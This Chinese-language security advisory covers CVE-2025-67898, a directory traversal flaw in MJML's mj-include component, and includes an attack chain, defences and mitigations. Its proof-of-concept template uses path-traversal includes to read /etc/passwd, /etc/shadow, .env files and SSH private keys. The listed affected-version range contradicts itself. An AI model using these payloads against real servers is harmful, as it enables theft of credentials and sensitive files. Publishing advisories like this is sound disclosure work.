IPBUF安全漏洞报告
English
CVE-2025-67898 CVSS 4.5 中危

CVE-2025-67898 MJML mj-include组件目录遍历漏洞

披露日期: 2025-12-14

漏洞信息

漏洞编号
CVE-2025-67898
漏洞类型
目录遍历
CVSS评分
4.5 中危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
MJML

相关标签

目录遍历MJMLCVE-2025-67898文件包含信息泄露MJML邮件模板CVE-2020-12827关联路径穿越

漏洞概述

CVE-2025-67898是MJML框架中的一个中危目录遍历漏洞。MJML是一款流行的开源邮件模板框架,通过简化HTML邮件的响应式设计来帮助开发者快速创建跨平台兼容的邮件内容。该漏洞存在于mj-include组件中,攻击者可以利用目录遍历字符(如../)来访问服务器上的任意文件。通过构造特殊的mj-include标签,攻击者能够测试目标服务器上特定文件的存在性。当设置type属性为"css"时,攻击者甚至可以读取目标文件的内容,从而获取敏感信息如配置文件、源代码、环境变量等。该漏洞是此前CVE-2020-12827的不完整修复,暴露出组件在处理文件路径时缺乏充分的输入验证和路径规范化处理。此漏洞的CVSS评分为4.5,属于中等严重程度,但考虑到其可能导致敏感信息泄露,仍需及时修复。攻击复杂度较低,无需认证和用户交互即可实施攻击,攻击向量为本地网络。

技术细节

该漏洞的核心问题在于MJML的mj-include组件未能正确验证和规范化用户提供的文件路径。攻击者通过在path属性中注入目录遍历序列(如../../../etc/passwd或..\..\..\windows\win.ini),可以突破预期的文件包含目录限制。漏洞利用场景分为两种:1)文件存在性探测:攻击者可以通过观察错误消息或响应时间来判断服务器上是否存在特定文件;2)文件内容读取:当设置type="css"时,存在漏洞的代码会直接读取指定路径的文件内容并将其嵌入到生成的邮件模板中。技术层面,漏洞代码在处理path参数时直接拼接文件系统路径,而非使用安全的方法(如realpath()验证最终路径是否在允许范围内)。值得注意的是,CVE-2020-12827曾尝试修复类似问题,但修复不完整,仅针对部分场景进行了限制,未能彻底解决目录遍历风险。攻击者可以利用此漏洞读取服务器上的敏感文件,包括但不限于:系统配置文件(如/etc/passwd、.env)、应用源代码、SSH密钥、数据库配置等。

攻击链分析

STEP 1
步骤1
攻击者识别目标系统使用MJML框架处理邮件模板
STEP 2
步骤2
攻击者构造包含目录遍历序列的mj-include标签,设置path属性为敏感文件路径
STEP 3
步骤3
攻击者根据type属性设置决定利用方式:省略type或设置为非css值用于探测文件存在性,设置为css用于读取文件内容
STEP 4
步骤4
MJML处理器解析模板时,未对path参数进行充分验证,直接访问指定的文件系统路径
STEP 5
步骤5
攻击者获取目标服务器的敏感文件内容,如/etc/passwd、.env配置文件、SSH密钥等
STEP 6
步骤6
利用获取的敏感信息进行进一步攻击,如横向移动、权限提升或数据窃取

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- PoC for CVE-2025-67898: MJML mj-include Directory Traversal --> <!-- File existence detection and content reading via path traversal --> <mjml> <mj-body> <!-- Detect file existence using error messages --> <mj-include path="../../../../etc/passwd" type="css" /> <!-- Read sensitive files on Linux systems --> <mj-include path="../../../../.env" type="css" /> <mj-include path="../../../../etc/hostname" type="css" /> <mj-include path="../../../../root/.ssh/id_rsa" type="css" /> <!-- Windows target examples --> <mj-include path="..\..\..\windows\win.ini" type="css" /> <mj-include path="..\..\..\boot.ini" type="css" /> <!-- Path traversal with different encoding --> <mj-include path="....//....//....//etc/passwd" type="css" /> <mj-include path="....\/....\/....\/etc/passwd" type="css" /> </mj-body> </mjml> <!-- Alternative PoC using mj-include without type attribute --> <mjml> <mj-body> <!-- This may trigger file existence check --> <mj-include path="../../../../etc/shadow" /> </mj-body> </mjml>

影响范围

MJML < 4.18.0
MJML <= 4.18.0

防御指南

临时缓解措施
在官方修复发布前,可采取以下临时缓解措施:1)临时禁用mj-include组件的动态文件引用功能;2)通过Web应用防火墙(WAF)规则拦截包含目录遍历序列的请求;3)限制MJML进程的文件系统访问权限,使用chroot或容器隔离;4)对所有用户输入的path参数进行严格的正则匹配验证,仅允许字母数字和特定分隔符;5)监控日志中的异常mj-include请求,及时发现潜在攻击行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表